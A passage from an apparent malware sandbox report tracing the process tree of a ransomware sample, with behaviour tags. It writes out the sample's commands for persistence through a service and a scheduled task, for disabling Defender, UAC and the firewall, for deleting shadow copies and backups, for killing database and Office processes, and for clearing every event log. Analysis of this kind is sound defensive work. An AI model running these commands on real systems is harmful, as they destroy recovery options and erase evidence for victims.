        C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\Admin\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
        6⤵
        
        PID:43068
        
        C:\Windows\SysWOW64\sc.exe
        
        sc create SqlBakup binPath= "C:\Documents and Settings\Admin\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
        7⤵
        Launches sc.exe
        
        PID:42784
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ver
        6⤵
        
        PID:42820
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
        6⤵
        
        PID:42880
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\S-8459.vbs"
        7⤵
        
        PID:43152
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /C echo C:\Users\Admin\AppData\S-6748.bat
        8⤵
        
        PID:43212
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\S-6748.bat" "
        8⤵
        
        PID:43248
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /v
        9⤵
        Enumerates processes with tasklist
        Suspicious behavior: EnumeratesProcesses
        
        PID:43292
        
        C:\Windows\SysWOW64\find.exe
        
        find /I /c "dcdcf"
        9⤵
        
        PID:39776
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f
        6⤵
        
        PID:43156
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\Admin\AppData\S-2153.bat'" /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:43168
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
        6⤵
        
        PID:43224
        
        C:\Windows\SysWOW64\reg.exe
        
        reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        7⤵
        
        PID:43280
        
        C:\Windows\SysWOW64\reg.exe
        
        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        UAC bypass
        Modifies registry key
        
        PID:43256
        
        C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin.exe Delete Shadows /All /Quiet
        7⤵
        Interacts with shadow copies
        
        PID:43240
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        7⤵
        
        PID:43332
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:43420
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall set opmode mode=disable
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:43456
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:39812
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskkill /im mydesktopqos.exe&taskkill /im isqlplussvc.exe&taskkill /im xfssvccon.exe&taskkill /im mydesktopservice.exe&taskkill /im ocautoupds.exe&taskkill /im agntsvc.exe&taskkill /im encsvc.exe&taskkill /im firefoxconfig.exe&taskkill /im tbirdconfig.exe&taskkill /im ocomm.exe&taskkill /im mysqld.exe&taskkill /im mysqld-nt.exe&taskkill /im mysqld-opt.exe&taskkill /im dbeng50.exe&taskkill /im sqbcoreservice.exe&taskkill /im excel.exe&taskkill /im infopath.exe&taskkill /im msaccess.exe&taskkill /im mspub.exe&taskkill /im onenote.exe&taskkill /im outlook.exe&taskkill /im powerpnt.exe&taskkill /im steam.exe&taskkill /im thebat.exe&taskkill /im thebat64.exe&taskkill /im thunderbird.exe&taskkill /im visio.exe&taskkill /im winword.exe&taskkill /im wordpad.exe
        6⤵
        
        PID:39828
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im msftesql.exe
        7⤵
        
        PID:39824
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im sqlagent.exe
        7⤵
        
        PID:43516
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im sqlbrowser.exe
        7⤵
        Kills process with taskkill
        
        PID:39848
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im sqlservr.exe
        7⤵
        Kills process with taskkill
        
        PID:43548
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im sqlwriter.exe
        7⤵
        Kills process with taskkill
        
        PID:43580
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im oracle.exe
        7⤵
        
        PID:43636
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im ocssd.exe
        7⤵
        
        PID:43664
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im dbsnmp.exe
        7⤵
        
        PID:43712
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im synctime.exe
        7⤵
        
        PID:43684
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im agntsvc.exe
        7⤵
        Kills process with taskkill
        
        PID:43732
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mydesktopqos.exe
        7⤵
        Kills process with taskkill
        
        PID:43760
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im isqlplussvc.exe
        7⤵
        
        PID:43792
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im xfssvccon.exe
        7⤵
        Kills process with taskkill
        
        PID:43820
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mydesktopservice.exe
        7⤵
        Kills process with taskkill
        
        PID:43848
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im ocautoupds.exe
        7⤵
        Kills process with taskkill
        
        PID:43888
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im agntsvc.exe
        7⤵
        Kills process with taskkill
        
        PID:43928
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im encsvc.exe
        7⤵
        Kills process with taskkill
        
        PID:43896
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im firefoxconfig.exe
        7⤵
        Kills process with taskkill
        
        PID:43964
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im tbirdconfig.exe
        7⤵
        Kills process with taskkill
        
        PID:43988
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im ocomm.exe
        7⤵
        Kills process with taskkill
        
        PID:44016
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mysqld.exe
        7⤵
        
        PID:39876
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mysqld-nt.exe
        7⤵
        Kills process with taskkill
        
        PID:39904
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mysqld-opt.exe
        7⤵
        Kills process with taskkill
        
        PID:39932
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im dbeng50.exe
        7⤵
        
        PID:8152
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im sqbcoreservice.exe
        7⤵
        Kills process with taskkill
        
        PID:8180
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im excel.exe
        7⤵
        Kills process with taskkill
        
        PID:4616
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im infopath.exe
        7⤵
        Kills process with taskkill
        
        PID:11972
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im msaccess.exe
        7⤵
        Kills process with taskkill
        
        PID:12340
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mspub.exe
        7⤵
        Kills process with taskkill
        
        PID:12320
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im onenote.exe
        7⤵
        Kills process with taskkill
        
        PID:11844
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im outlook.exe
        7⤵
        Kills process with taskkill
        
        PID:12400
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im powerpnt.exe
        7⤵
        Kills process with taskkill
        
        PID:12428
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im steam.exe
        7⤵
        
        PID:12452
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im thebat.exe
        7⤵
        Kills process with taskkill
        
        PID:12488
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im thebat64.exe
        7⤵
        Kills process with taskkill
        
        PID:12516
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im thunderbird.exe
        7⤵
        Kills process with taskkill
        
        PID:12548
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im visio.exe
        7⤵
        Kills process with taskkill
        
        PID:12576
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im winword.exe
        7⤵
        Kills process with taskkill
        
        PID:12604
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im wordpad.exe
        7⤵
        Kills process with taskkill
        
        PID:12636
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c taskkill /im mshta.exe /f
        6⤵
        
        PID:13532
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mshta.exe /f
        7⤵
        Kills process with taskkill
        
        PID:13536
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\SysWOW64\mshta.exe" "C:\Documents and Settings\Admin\Desktop\ReadMe.hta"
        6⤵
        Modifies Internet Explorer settings
        
        PID:13496
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\ReadMe.hta"
        6⤵
        Modifies Internet Explorer settings
        
        PID:13472
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
        6⤵
        
        PID:13464
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wevtutil.exe el
        7⤵
        
        PID:13580
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe el
        8⤵
        
        PID:13660
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Analytic"
        7⤵
        
        PID:13684
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Application"
        7⤵
        
        PID:13720
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "DebugChannel"
        7⤵
        
        PID:13736
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "DirectShowFilterGraph"
        7⤵
        
        PID:13752
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "DirectShowPluginControl"
        7⤵
        
        PID:13748
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Els_Hyphenation/Analytic"
        7⤵
        
        PID:13792
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "EndpointMapper"
        7⤵
        
        PID:13860
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "ForwardedEvents"
        7⤵
        
        PID:13888
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "HardwareEvents"
        7⤵
        
        PID:6564
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Internet Explorer"
        7⤵
        
        PID:5800
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Key Management Service"
        7⤵
        
        PID:5804
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "MF_MediaFoundationDeviceProxy"
        7⤵
        
        PID:5832
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Media Center"
        7⤵
        
        PID:6584
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "MediaFoundationDeviceProxy"
        7⤵
        
        PID:6596
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "MediaFoundationPerformance"
        7⤵
        
        PID:6624
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "MediaFoundationPipeline"
        7⤵
        
        PID:6640
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "MediaFoundationPlatform"
        7⤵
        
        PID:6656
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-IE/Diagnostic"
        7⤵
        
        PID:6668
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-IEDVTOOL/Diagnostic"
        7⤵
        
        PID:6684
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"
        7⤵
        
        PID:6696
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"
        7⤵
        
        PID:6732
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"
        7⤵
        
        PID:6744
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"
        7⤵
        
        PID:6760
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ADSI/Debug"
        7⤵
        
        PID:6792
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational"
        7⤵
        
        PID:6804
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ATAPort/General"
        7⤵
        
        PID:6820
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"
        7⤵
        
        PID:14340
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"
        7⤵
        
        PID:14352
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-AltTab/Diagnostic"
        7⤵
        
        PID:39956
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
        7⤵
        
        PID:39976
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
        7⤵
        
        PID:39988
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
        7⤵
        
        PID:69936
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"
        7⤵
        
        PID:40024
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"
        7⤵
        
        PID:40000
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"
        7⤵
        
        PID:40040
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"
        7⤵
        
        PID:40056
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder"
        7⤵
        
        PID:40044
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
        7⤵
        
        PID:40072
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
        7⤵
        
        PID:40140
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
        7⤵
        
        PID:40152
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory/Debug"
        7⤵
        
        PID:40164
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
        7⤵
        
        PID:40176
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
        7⤵
        
        PID:40188
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
        7⤵
        
        PID:40200
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Audio/Performance"
        7⤵
        
        PID:40212
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Audit/Analytic"
        7⤵
        
        PID:40224
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
        7⤵
        
        PID:40236
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"
        7⤵
        
        PID:40248
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Backup"
        7⤵
        Clears Windows event logs
        
        PID:40260
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"
        7⤵
        
        PID:40276
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
        7⤵
        
        PID:40292
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
        7⤵
        
        PID:40304
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"
        7⤵
        
        PID:40084
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
        7⤵
        
        PID:40096
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
        7⤵
        
        PID:40108
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
        7⤵
        
        PID:40120
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
        7⤵
        
        PID:40328
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
        7⤵
        
        PID:40340
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"
        7⤵
        
        PID:40352
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
        7⤵
        
        PID:40364
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"
        7⤵
        
        PID:40376
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CDROM/Operational"
        7⤵
        
        PID:40392
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-COM/Analytic"
        7⤵
        
        PID:40404
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"
        7⤵
        
        PID:40416
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Calculator/Debug"
        7⤵
        
        PID:34084
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Calculator/Diagnostic"
        7⤵
        
        PID:40428
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"
        7⤵
        
        PID:40440
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
        7⤵
        
        PID:40456
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
        7⤵
        
        PID:40476
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"
        7⤵
        
        PID:40484
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
        7⤵
        
        PID:40500
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"
        7⤵
        
        PID:40516
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"
        7⤵
        
        PID:40528
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"
        7⤵
        
        PID:40540
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
        7⤵
        
        PID:40548
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
        7⤵
        
        PID:40564
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"
        7⤵
        Clears Windows event logs
        
        PID:40576
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"
        7⤵
        
        PID:40588
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"
        7⤵
        Clears Windows event logs
        
        PID:40600
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"
        7⤵
        
        PID:40612
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"
        7⤵
        
        PID:40624
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"
        7⤵
        
        PID:40636
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DUI/Diagnostic"
        7⤵
        
        PID:40648
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DUSER/Diagnostic"
        7⤵
        
        PID:40316
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DXGI/Analytic"
        7⤵
        
        PID:40660
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DXGI/Logging"
        7⤵
        
        PID:40680
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DXP/Analytic"
        7⤵
        
        PID:40696
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Analytic"
        7⤵
        
        PID:40676
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Debug"
        7⤵
        
        PID:40704
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
        7⤵
        
        PID:40716
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Deplorch/Analytic"
        7⤵
        
        PID:40728
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DeviceSync/Analytic"
        7⤵
        Clears Windows event logs
        
        PID:40124
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
        7⤵
        
        PID:40748
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DeviceUx/Informational"
        7⤵
        
        PID:40760
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DeviceUx/Performance"
        7⤵
        
        PID:40772
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
        7⤵
        
        PID:40784
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Operational"
        7⤵
        
        PID:40796
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin"
        7⤵
        
        PID:40812
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DhcpNap/Operational"
        7⤵
        
        PID:40820
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
        7⤵
        
        PID:40832
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Operational"
        7⤵
        
        PID:40844
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-DiagCpl/Debug"
        7⤵
        
        PID:40856
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Analytic"
        7⤵
        
        PID:40868
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Debug"
        7⤵
        
        PID:40880
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
        7⤵
        Clears Windows event logs
        
        PID:40892
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-MSDE/Debug"
        7⤵
        
        PID:40904
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Analytic"
        7⤵
        
        PID:40920
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Debug"
        7⤵
        
        PID:40928
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
        7⤵
        
        PID:40940
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Debug"
        7⤵
        
        PID:40956
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
        7⤵
        
        PID:40968
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-Perfhost/Analytic"
        7⤵
        
        PID:41000
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
        7⤵
        
        PID:40988
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
        7⤵
        
        PID:41008
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Analytic"
        7⤵
        
        PID:41020
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Debug"
        7⤵
        
        PID:41032
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
        7⤵
        
        PID:41044
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug"
        7⤵
        
        PID:41056
        
        C:\Windows\SysWOW64\wevtutil.exe
        
